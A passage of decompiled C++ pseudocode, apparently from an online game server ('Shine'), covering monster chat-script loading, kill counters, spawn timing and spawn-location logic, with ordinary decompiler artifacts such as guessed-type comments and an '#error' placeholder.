*)v7 = &MobChat::MobChatElementBase::_vftable_; operator delete(v8); } v9 = v1->mcm_Damage; v10 = (char *)v9[v2]; if ( v10 != v3 && v10 ) { v11 = v9[v2]; *(_DWORD *)v10 = &MobChat::MobChatElementBase::_vftable_; operator delete(v11); } v12 = (char *)v1->mcm_Killed[v2]; if ( v12 != v3 && v12 ) { v13 = v1->mcm_Killed[v2]; *(_DWORD *)v12 = &MobChat::MobChatElementBase::_vftable_; operator delete(v13); } v14 = v1->mcm_HelpReq; v15 = (char *)v14[v2]; if ( v15 != v3 && v15 ) { v16 = v14[v2]; *(_DWORD *)v15 = &MobChat::MobChatElementBase::_vftable_; operator delete(v16); } v17 = v1->mcm_HelpAck; v18 = (char *)v17[v2]; if ( v18 != v3 && v18 ) { v19 = v17[v2]; *(_DWORD *)v18 = &MobChat::MobChatElementBase::_vftable_; operator delete(v19); } v20 = (char *)v1->mcm_DetectBattle[v2]; if ( v20 != v3 && v20 ) { v21 = v1->mcm_DetectBattle[v2]; *(_DWORD *)v20 = &MobChat::MobChatElementBase::_vftable_; operator delete(v21); } ++v2; } while ( v2 < v1->mcm_MaxMobHandle ); } operator delete(v1->mcm_Wander); operator delete(v1->mcm_Attack); operator delete(v1->mcm_Damage); operator delete(v1->mcm_Killed); operator delete(v1->mcm_HelpReq); operator delete(v1->mcm_HelpAck); operator delete(v1->mcm_DetectBattle); v1->mcm_Default.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementBase::_vftable_; } // 5B8FBC: using guessed type int (*MobChat__MobChatElementBase___vftable_)(); //----- (004813F0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_Load(MobChat::MobChatManager *this, Name4 *world) { MobChat::MobChatManager *v2; // esi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 unsigned int v6; // edi@1 char v7; // bl@2 int v8; // eax@2 unsigned int v9; // ST44_4@5 void *v10; // eax@5 unsigned int v11; // ST3C_4@5 void *v12; // eax@5 unsigned int v13; // ST38_4@5 void *v14; // eax@5 unsigned int v15; // ST30_4@5 void *v16; // eax@5 unsigned int v17; // ST2C_4@5 void *v18; // eax@5 int v19; // ecx@5 int v20; // eax@5 unsigned __int16 j; // bp@8 int v22; // edi@10 MobDataBox::MobDataBoxIndex *v23; // edx@11 unsigned __int16 v24; // ax@13 MobDataBox::MobDataBoxIndex *v25; // ebx@15 int v26; // eax@19 void *v27; // ebp@22 _BYTE v28[20]; // ST28_20@22 unsigned int v29; // eax@23 unsigned int v30; // ecx@23 unsigned int v31; // edx@23 void *v32; // eax@29 MobChat::MobChatElementBase *v33; // eax@30 void *v34; // eax@38 MobChat::MobChatElementBase *v35; // eax@39 void *v36; // eax@47 MobChat::MobChatElementBase *v37; // eax@48 void *v38; // eax@56 MobChat::MobChatElementBase *v39; // eax@57 void *v40; // eax@65 MobChat::MobChatElementBase *v41; // eax@66 void *v42; // eax@74 MobChat::MobChatElementBase *v43; // eax@75 void *v44; // eax@83 MobChat::MobChatElementBase *v45; // eax@84 char *v46; // eax@86 void *record; // [sp+0h] [bp-10A10h]@22 MobDataBox::MobDataBoxIndex *mobinf; // [sp+4h] [bp-10A0Ch]@16 unsigned int i; // [sp+8h] [bp-10A08h]@19 unsigned int sub; // [sp+Ch] [bp-10A04h]@7 void *tables[7]; // [sp+10h] [bp-10A00h]@7 ORToken _; // [sp+2Ch] [bp-109E4h]@23 ORToken killed; // [sp+40h] [bp-109D0h]@7 ORToken detectbattle; // [sp+54h] [bp-109BCh]@7 ORToken attack; // [sp+68h] [bp-109A8h]@7 ORToken wander; // [sp+7Ch] [bp-10994h]@7 ORToken damage; // [sp+90h] [bp-10980h]@7 ORToken helpack; // [sp+A4h] [bp-1096Ch]@7 ORToken helpreq; // [sp+B8h] [bp-10958h]@7 char buf[32]; // [sp+CCh] [bp-10944h]@1 char path[128]; // [sp+ECh] [bp-10924h]@1 char v62; // [sp+16Ch] [bp-108A4h]@86 OptionReader or; // [sp+1ACh] [bp-10864h]@1 unsigned int cookie; // [sp+10A00h] [bp-10h]@89 int v65; // [sp+10A0Ch] [bp-4h]@1 v2 = this; OptionReader::OptionReader(&or); v3 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; *(_DWORD *)&buf[4] = v3; v5 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[8] = v4; v6 = 0; v65 = 0; *(_DWORD *)&buf[12] = v5; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/MobChat.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Shine/World/MobChat.txt"); v7 = OptionReader::or_Read(&or, path); v8 = OptionReader::or_ErrorLine(&or); if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Error in Script read", v8); ShineExit("MobChat::MobChatManager::mcm_Load"); } } v9 = 4 * (mobdatabox.mdb_maxmobhandle + 1); v2->mcm_MaxMobHandle = mobdatabox.mdb_maxmobhandle + 1; v2->mcm_Wander = (MobChat::MobChatElementBase **)operator new__(v9); v10 = operator new__(4 * v2->mcm_MaxMobHandle); v11 = 4 * v2->mcm_MaxMobHandle; v2->mcm_Attack = (MobChat::MobChatElementBase **)v10; v12 = operator new__(v11); v13 = 4 * v2->mcm_MaxMobHandle; v2->mcm_Damage = (MobChat::MobChatElementBase **)v12; v2->mcm_Killed = (MobChat::MobChatElementBase **)operator new__(v13); v14 = operator new__(4 * v2->mcm_MaxMobHandle); v15 = 4 * v2->mcm_MaxMobHandle; v2->mcm_HelpReq = (MobChat::MobChatElementBase **)v14; v16 = operator new__(v15); v17 = 4 * v2->mcm_MaxMobHandle; v2->mcm_HelpAck = (MobChat::MobChatElementBase **)v16; v18 = operator new__(v17); v19 = v2->mcm_MaxMobHandle; v2->mcm_DetectBattle = (MobChat::MobChatElementBase **)v18; v20 = 0; if ( v19 > 0 ) { do { v2->mcm_DetectBattle[v20] = &v2->mcm_Default; v2->mcm_HelpAck[v20] = v2->mcm_DetectBattle[v20]; v2->mcm_HelpReq[v20] = v2->mcm_HelpAck[v20]; v2->mcm_Killed[v20] = v2->mcm_HelpReq[v20]; v2->mcm_Damage[v20] = v2->mcm_Killed[v20]; v2->mcm_Attack[v20] = v2->mcm_Damage[v20]; v2->mcm_Wander[v20] = v2->mcm_Attack[v20]; ++v20; } while ( v20 < v2->mcm_MaxMobHandle ); } *(_QWORD *)&wander.ort_Name[12] = 0i64; *(_QWORD *)&wander.ort_Name[4] = 0i64; *(_DWORD *)&wander.ort_Name[0] = 0; strncpy(wander.ort_Name, "PIECE", 0x14u); *(_QWORD *)&attack.ort_Name[12] = 0i64; *(_QWORD *)&attack.ort_Name[4] = 0i64; *(_DWORD *)&attack.ort_Name[0] = 0; strncpy(attack.ort_Name, "ATTACK", 0x14u); *(_QWORD *)&damage.ort_Name[12] = 0i64; *(_QWORD *)&damage.ort_Name[4] = 0i64; *(_DWORD *)&damage.ort_Name[0] = 0; strncpy(damage.ort_Name, "DAMAGED", 0x14u); *(_QWORD *)&killed.ort_Name[12] = 0i64; *(_QWORD *)&killed.ort_Name[4] = 0i64; *(_DWORD *)&killed.ort_Name[0] = 0; strncpy(killed.ort_Name, "DEAD", 0x14u); *(_QWORD *)&helpreq.ort_Name[12] = 0i64; *(_QWORD *)&helpreq.ort_Name[4] = 0i64; *(_DWORD *)&helpreq.ort_Name[0] = 0; strncpy(helpreq.ort_Name, "HELPMAIN", 0x14u); *(_QWORD *)&helpack.ort_Name[12] = 0i64; *(_QWORD *)&helpack.ort_Name[4] = 0i64; *(_DWORD *)&helpack.ort_Name[0] = 0; strncpy(helpack.ort_Name, "HELPSUB", 0x14u); *(_QWORD *)&detectbattle.ort_Name[12] = 0i64; *(_QWORD *)&detectbattle.ort_Name[4] = 0i64; *(_DWORD *)&detectbattle.ort_Name[0] = 0; strncpy(detectbattle.ort_Name, "RACERESCU", 0x14u); tables[0] = &wander; tables[1] = &attack; tables[2] = &damage; tables[3] = &killed; tables[5] = &helpack; tables[4] = &helpreq; tables[6] = &detectbattle; sub = 0; if ( mobdatabox.mdb_mobspacies > 0 ) goto LABEL_9; for ( j = -1; ; j = BinaryDataBox::operator__(&mobdatabox.mdb_BinData.mobinf, v6)->ID ) { v22 = j; if ( j > mobdatabox.mdb_maxmobhandle || (v23 = &mobdatabox.mdb_index[j]) == 0 || !v23->data ) goto LABEL_15; v24 = v23->data->ID; if ( v24 != j ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", j, v24); LABEL_15: v25 = 0; goto LABEL_16; } v25 = &mobdatabox.mdb_index[j]; LABEL_16: mobinf = v25; if ( !v25 ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Null inf", j); ShineExit("MobChat::MobChatManager::mcm_Load"); } v26 = 0; i = 0; while ( 1 ) { v27 = tables[v26]; *(_DWORD *)v28 = *(_DWORD *)v27; *(_QWORD *)&v28[4] = *(_QWORD *)((char *)v27 + 4); *(_QWORD *)&v28[12] = *(_QWORD *)((char *)v27 + 12); record = OptionReader::or_SelectFrom(&or, *(ORToken *)v28, "MobIndex", v25->data->InxName, 0); if ( record ) { v29 = *(_DWORD *)v27; v30 = *((_DWORD *)v27 + 1); *(_DWORD *)&_.ort_Name[8] = *((_DWORD *)v27 + 2); v31 = *((_DWORD *)v27 + 3); *(_DWORD *)&_.ort_Name[16] = *((_DWORD *)v27 + 4); if ( __PAIR__(v30, v29) != *(_QWORD *)&wander || __PAIR__(v31, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&wander.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&wander.ort_Name[16] ) { if ( __PAIR__(v30, v29) != *(_QWORD *)&attack || __PAIR__(v31, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&attack.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&attack.ort_Name[16] ) { if ( __PAIR__(v30, v29) != *(_QWORD *)&damage || __PAIR__(v31, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&damage.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&damage.ort_Name[16] ) { if ( __PAIR__(v30, v29) != *(_QWORD *)&killed || __PAIR__(v31, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&killed.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&killed.ort_Name[16] ) { if ( __PAIR__(v30, v29) != *(_QWORD *)&helpreq || __PAIR__(v31, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&helpreq.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&helpreq.ort_Name[16] ) { if ( __PAIR__(v30, v29) != *(_QWORD *)&helpack || __PAIR__(v31, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&helpack.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&helpack.ort_Name[16] ) { if ( __PAIR__(v30, v29) != *(_QWORD *)&detectbattle || __PAIR__(v31, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&detectbattle.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&detectbattle.ort_Name[16] ) { v46 = ORToken::ort_GetString((ORToken *)v27, &v62); AssertClass::ac_AssertFail(&shineassert, "Invalid Flag", v46); } else { if ( v2->mcm_DetectBattle[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail( &shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v44 = operator new(0x128u); if ( v44 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v44, (MobChat::MobChatRecord *)record); v2->mcm_DetectBattle[v22] = v45; } else { v2->mcm_DetectBattle[v22] = 0; } } } else { if ( v2->mcm_HelpAck[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail( &shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v42 = operator new(0x128u); if ( v42 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v42, (MobChat::MobChatRecord *)record); v2->mcm_HelpAck[v22] = v43; } else { v2->mcm_HelpAck[v22] = 0; } } } else { if ( v2->mcm_HelpReq[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v40 = operator new(0x128u); if ( v40 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v40, (MobChat::MobChatRecord *)record); v2->mcm_HelpReq[v22] = v41; } else { v2->mcm_HelpReq[v22] = 0; } } } else { if ( v2->mcm_Killed[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v38 = operator new(0x128u); if ( v38 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v38, (MobChat::MobChatRecord *)record); v2->mcm_Killed[v22] = v39; } else { v2->mcm_Killed[v22] = 0; } } } else { if ( v2->mcm_Damage[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v36 = operator new(0x128u); if ( v36 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v36, (MobChat::MobChatRecord *)record); v2->mcm_Damage[v22] = v37; } else { v2->mcm_Damage[v22] = 0; } } } else { if ( v2->mcm_Attack[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v34 = operator new(0x128u); if ( v34 ) { MobChat::MobChatElement::MobChatElement((MobChat::MobChatElement *)v34, (MobChat::MobChatRecord *)record); v2->mcm_Attack[v22] = v35; } else { v2->mcm_Attack[v22] = 0; } } } else { if ( v2->mcm_Wander[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v32 = operator new(0x130u); if ( v32 ) { MobChat::MobChatElementWander::MobChatElementWander( (MobChat::MobChatElementWander *)v32, (MobChat::MobChatRecord *)record); v2->mcm_Wander[v22] = v33; } else { v2->mcm_Wander[v22] = 0; } } } v26 = i++ + 1; if ( i >= 7 ) break; v25 = mobinf; } v6 = sub++ + 1; if ( sub >= mobdatabox.mdb_mobspacies ) break; LABEL_9: ; } v65 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00481D70) -------------------------------------------------------- void __thiscall MobDeadCount::_MobDeadCount(MobDeadCount *this) { if ( this->mdc_Counter ) operator delete__(this->mdc_Counter); } //----- (00481D80) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Clear(MobDeadCount *this) { void **v1; // esi@1 unsigned int v2; // edx@1 void *v3; // edi@1 int v4; // edi@1 int i; // ecx@1 v1 = (void **)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = 2 * mobdatabox.mdb_maxmobhandle + 2; ++funcallanalizer.fca_stackpoint; v3 = *v1; memset(*v1, 0, 4 * (v2 >> 2)); v4 = (int)((char *)v3 + 4 * (v2 >> 2)); for ( i = v2 & 3; i; --i ) *(_BYTE *)v4++ = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_Clear"); } //----- (00481E00) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Count(MobDeadCount *this, unsigned __int16 mobid) { MobDeadCount *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_Count"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_Count"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mobid < (signed int)(mobdatabox.mdb_maxmobhandle + 1) ) ++v2->mdc_Counter[mobid]; else AssertClass::ac_AssertFail(&shineassert, "MobDeadCount::mdc_Counter : Invalid MobID", mobid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_Count"); } //----- (00481EC0) -------------------------------------------------------- int __thiscall MobDeadCount::mdc_DeadCountGet(MobDeadCount *this, unsigned __int16 mobid) { MobDeadCount *v2; // esi@1 int result; // eax@2 int v4; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_DeadCountGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mobid < (signed int)(mobdatabox.mdb_maxmobhandle + 1) ) { v4 = v2->mdc_Counter[mobid]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); result = v4; } else { AssertClass::ac_AssertFail(&shineassert, "MobDeadCount::mdc_Counter : Invalid MobID", mobid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); result = 0; } return result; } //----- (00481FB0) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Init(MobDeadCount *this) { MobDeadCount *v1; // esi@1 v1 = this; this->mdc_Counter = (unsigned __int16 *)operator new__(2 * mobdatabox.mdb_maxmobhandle + 2); MobDeadCount::mdc_Clear(v1); } //----- (00481FD0) -------------------------------------------------------- #error "481FD0: undefined or illegal type '#325' (funcsize=132)" //----- (00482180) -------------------------------------------------------- void __thiscall KQRegenTable::Element::Element(KQRegenTable::Element *this) { *(_QWORD *)&this->tablename.n3_name[4] = 0i64; *(_DWORD *)&this->tablename.n3_name[0] = 0; } //----- (00482190) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 2) = *(_DWORD *)(a2 + 2); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_BYTE *)(this + 26) = *(_BYTE *)(a2 + 26); *(_BYTE *)(this + 27) = *(_BYTE *)(a2 + 27); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); memcpy((void *)(this + 29), (const void *)(a2 + 29), 0x3Au); memcpy((void *)(this + 87), (const void *)(a2 + 87), 0x3Cu); return result; } //----- (00482260) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete) { BriefInformationCharacter *v3; // esi@1 v3 = this; PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_((int)this->bic_BriefInfo, (int)bandittemplete); v3->bic_BriefInfo->handle = handle; v3->bic_BriefInfo->type = 4; v3->bic_BriefInfo->myguild = 0; v3->bic_BriefInfo->isGuildAcademyMember = 0; } //----- (004822B0) -------------------------------------------------------- void __thiscall BriefInformationEffect::bie_InitBriefInfo(BriefInformationEffect *this, unsigned __int16 handle, Name8 *idx, unsigned __int16 detach, int scale) { char *v5; // eax@1 this->bie_BriefInfo->handle = handle; v5 = (char *)&this->bie_BriefInfo->effectname; *(_QWORD *)v5 = *(_QWORD *)&idx->n8_name[0]; *((_QWORD *)v5 + 1) = *(_QWORD *)&idx->n8_name[8]; *((_QWORD *)v5 + 2) = *(_QWORD *)&idx->n8_name[16]; *((_QWORD *)v5 + 3) = *(_QWORD *)&idx->n8_name[24]; this->bie_BriefInfo->detach = detach; this->bie_BriefInfo->scale = scale; } //----- (00482310) -------------------------------------------------------- void __thiscall EventMobRegen::EventMobRegen(EventMobRegen *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventMobRegen::_vftable_; } // 5B9544: using guessed type int (*EventMobRegen___vftable_)(); //----- (00482320) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int a3, int idx, int keeptime_millisec, int scale) { return 1; } //----- (00482330) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int x, int y, int d, int idx, int keeptime_millisec, int scale) { return 1; } //----- (00482340) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_mob_Regenerate(int map_, int x, int y, int dir, __int16 handle, __int16 mobid, int bandittemplete, int regnum, int a9, int a10, int lev, char blockdata) { return 1; } //----- (00482350) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::MobBreeder(int this) { int result; // eax@1 result = this; *(_WORD *)(this + 60) = -1; *(_WORD *)(this + 6) = 0; *(_DWORD *)(this + 8) = -1; *(_DWORD *)(this + 84) = -1; *(_BYTE *)(this + 4) = 1; return result; } //----- (00482370) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::mb_RegenWaitTime(int this) { unsigned int v1; // edx@1 int v2; // eax@2 int result; // eax@10 int v4; // edx@10 v1 = (*(_DWORD *)(this + 80) - *(_DWORD *)(this + 76)) / 0xAu; if ( (signed int)v1 >= *(_DWORD *)(this + 28) ) { if ( (signed int)v1 >= *(_DWORD *)(this + 36) ) { if ( (signed int)v1 <= *(_DWORD *)(this + 52) ) { if ( (signed int)v1 <= *(_DWORD *)(this + 44) ) v2 = 0; else v2 = *(_DWORD *)(this + 48); } else { v2 = *(_DWORD *)(this + 56); } } else { v2 = *(_DWORD *)(this + 32); } } else { v2 = *(_DWORD *)(this + 24); } result = *(_DWORD *)(this + 72) + v2; v4 = *(_DWORD *)(this + 16); if ( result >= (unsigned int)v4 && (v4 = *(_DWORD *)(this + 20), result <= (unsigned int)v4) ) { *(_DWORD *)(this + 72) = result; } else { *(_DWORD *)(this + 72) = v4; result = v4; } return result; } //----- (004823D0) -------------------------------------------------------- void __thiscall MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(MobRegenClass::MobRegenLoc_Circular *this, int x, int y, int rad) { this->mrlc_X = x; this->mrlc_Y = y; this->mrlc_Rad = rad; } //----- (004823F0) -------------------------------------------------------- void __thiscall MobRegenClass::MobRegenLoc_Circular::mrlc_Get(MobRegenClass::MobRegenLoc_Circular *this, SHINE_XY_TYPE *loc) { unsigned int v2; // eax@1 int v3; // eax@1 unsigned int v4; // edi@1 MobRegenClass::MobRegenLoc_Circular *v5; // ebp@1 int v6; // eax@2 int v7; // ecx@4 signed int v8; // kr00_4@8 unsigned int v9; // eax@8 __int64 v10; // qax@8 int v11; // edi@8 int v12; // ebx@8 int v13; // eax@8 v2 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v2; v3 = rndbox.rb_box[3].rs_slot[v2]; v4 = rndbox.rb_box[64].rs_point.value; v5 = this; if ( v3 ) { v6 = v3 - 1; if ( v6 ) { if ( v6 == 1 ) { rndbox.rb_box[32].rs_point.value = rndbox.rb_box[32].rs_point.mask & (rndbox.rb_box[32].rs_point.value + 1); v7 = rndbox.rb_box[32].rs_slot[rndbox.rb_box[32].rs_point.value] + 96; } else { v7 = (int)loc; } } else { rndbox.rb_box[32].rs_point.value = rndbox.rb_box[32].rs_point.mask & (rndbox.rb_box[32].rs_point.value + 1); v7 = rndbox.rb_box[32].rs_slot[rndbox.rb_box[32].rs_point.value] + 64; } } else { v4 = rndbox.rb_box[64].rs_point.mask & (rndbox.rb_box[64].rs_point.value + 1); rndbox.rb_box[64].rs_point.value = v4; v7 = rndbox.rb_box[64].rs_slot[v4]; } v8 = v7 * v5->mrlc_Rad; v9 = rndbox.rb_box[64].rs_point.mask & (v4 + 1); rndbox.rb_box[64].rs_point.value = v9; v10 = 180 * rndbox.rb_box[64].rs_slot[v9]; v11 = ((BYTE4(v10) & 0x3F) + (signed int)v10) >> 6; v12 = v8 / 128 * ShineRadian::sr_sin1024(&shineradian, v11) / 1024; v13 = ShineRadian::sr_cos1024(&shineradian, v11); loc->x = v12 + v5->mrlc_X; loc->y = v8 / 128 * v13 / 1024 + v5->mrlc_Y; } //----- (00482510) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_BriefLocateSet(int this) { int v1; // eax@1 int v2; // ecx@1 char result; // al@1 v1 = *(_DWORD *)(this + 7510) + 5; v2 = this + 7526; *(_DWORD *)v2 = *(_DWORD *)v1; *(_DWORD *)(v2 + 4) = *(_DWORD *)(v1 + 4); result = *(_BYTE *)(v1 + 8); *(_BYTE *)(v2 + 8) = result; return result; } //----- (00482530) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::sm_BriefLocateSet(ShineObjectClass::ShineBandit *this) { char *v1; // eax@1 char *v2; // ecx@1 v1 = (char *)&this->sb_MobBriefInfo.bic_BriefInfo->coord; v2 = &this->gap0[7526]; *(_DWORD *)v2 = *(_DWORD *)v1; *((_DWORD *)v2 + 1) = *((_DWORD *)v1 + 1); v2[8] = v1[8]; } //----- (00482550) -------------------------------------------------------- MobDataBox::MobDataBoxIndex *__thiscall ShineObjectClass::ShineMob::sm_InitBriefInfo(int this, __int16 handle, unsigned __int16 mobid, int bandittemplete) { int v4; // esi@1 MobDataBox::MobDataBoxIndex *result; // eax@1 v4 = this; **(_WORD **)(this + 7510) = handle; *(_WORD *)(*(_DWORD *)(this + 7510) + 3) = mobid; *(_BYTE *)(*(_DWORD *)(this + 7510) + 14) = 0; result = MobDataBox::operator__(&mobdatabox, mobid); *(_DWORD *)(v4 + 7536) = result; return result; } //----- (00482590) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::sm_InitBriefInfo(ShineObjectClass::ShineBandit *this, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete) { if ( bandittemplete ) BriefInformationCharacter::bic_InitBriefInfo(&this->sb_MobBriefInfo, handle, bandittemplete); } //----- (004825B0) -------------------------------------------------------- void __thiscall KQRegenTable::KQRegenTable(KQRegenTable *this) { KQRegenTable *v1; // ebp@1 int v2; // esi@1 signed int v3; // edi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, 50, (void (__thiscall *)(void *))KQRegenTable::Element::Element, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = (int)&v1->kqrt_Array[0].tablename.n3_name[8]; v3 = 50; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; *(_DWORD *)(v2 - 8) = 0; strncpy((char *)(v2 - 8), byte_5A62A6, 0xCu); v2 += 16; --v3; } while ( v3 ); v1->kqrt_Number = 0; } //----- (00482610) -------------------------------------------------------- int __cdecl KQRegenTable::Element::Comp(const void *a, const void *b) { bool v2; // cf@1 int result; // eax@2 unsigned int v4; // edx@3 unsigned int v5; // esi@3 unsigned int v6; // eax@4 unsigned int v7; // ecx@4 v2 = *(_DWORD *)b < *(_DWORD *)a; if ( *(_DWORD *)b != *(_DWORD *)a || (v4 = *((_DWORD *)a + 1), v5 = *((_DWORD *)b + 1), v2 = v5 < v4, v5 != v4) ) { result = v2 ? 1 : -1; } else { v6 = *((_DWORD *)a + 2); v7 = *((_DWORD *)b + 2); if ( v6 <= v7 ) result = -(v6 < v7); else result = 1; } return result; } //----- (00482650) -------------------------------------------------------- void __thiscall FamilyMobManagement::MobSpeciesSlot::mss_Clear(FamilyMobManagement::MobSpeciesSlot *this) { this->mss_Killed = 0; } //----- (00482660) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 6; return result; } //----- (00482680) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5B9548: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); //----- (004826A0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, #803 *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { memcpy(v3, (const void *)ele, 0x64u); result = 1; } else { result = 0; } return result; } //----- (004826E0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, #803 *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = 